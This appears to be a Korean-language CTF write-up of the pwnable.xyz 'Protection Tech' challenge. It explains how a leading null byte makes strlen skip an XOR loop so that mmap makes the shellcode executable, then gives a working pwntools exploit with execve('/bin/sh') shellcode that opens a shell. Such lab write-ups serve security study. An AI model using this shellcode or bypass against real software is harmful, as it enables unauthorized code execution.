# Protection Tech
# process
출력해준 buf 값을 받아서 입력 시 str로 변환한 값과 0으로 통과한다.
그러고 나면 shellcode executioner라고 쉘코드를 실행할 수 있다고 하는데 NX가 걸려있어서 불가능하다.
하지만 코드를 보면 key와 inpt을 xor해준 값에 mmap 함수를 사용하는데 메모리 매핑을 해주는 것이다.
그리고 flag 값이 34인데 실행권한을 부여해준다.
xor만 안 하면 쉘코드를 넣으면 쉘코드에 실행권한이 부여되어서 쉘코드를 실행할 수 있다.
strlen으로 반복해서 xor을 진행하는데, 처음에 null byte를 넣으면 strlen은 길이가 0인줄 알고 반복문을 하지 않는다.
이것으로 xor문을 우회하고 바로 쉘코드에 mmap으로 실행권한을 부여할 수 있게된다.
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./challenge")
#p = remote("svc.pwnable.xyz", 30025)
elf = ELF("./challenge")
p.recvuntil("POW: x + y == ")
buf = int(p.recvline().strip(), 16)
log.info("buf : "+hex(buf))
p.sendlineafter("> ", '0 '+str(buf))
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
pay = p32(0) + shellcode
p.sendafter("Input: ", pay)
p.interactive()
# exploit
로되리안
[pwnable.xyz] message (0) | 2020.02.28 |
---|---|
[pwnable.xyz] badayum (0) | 2020.02.28 |
[pwnable.xyz] J-U-M-P (0) | 2020.02.28 |
[pwnable.xyz] strcat (0) | 2020.02.27 |
[pwnable.xyz] fclose (fSOP) (1) | 2020.02.10 |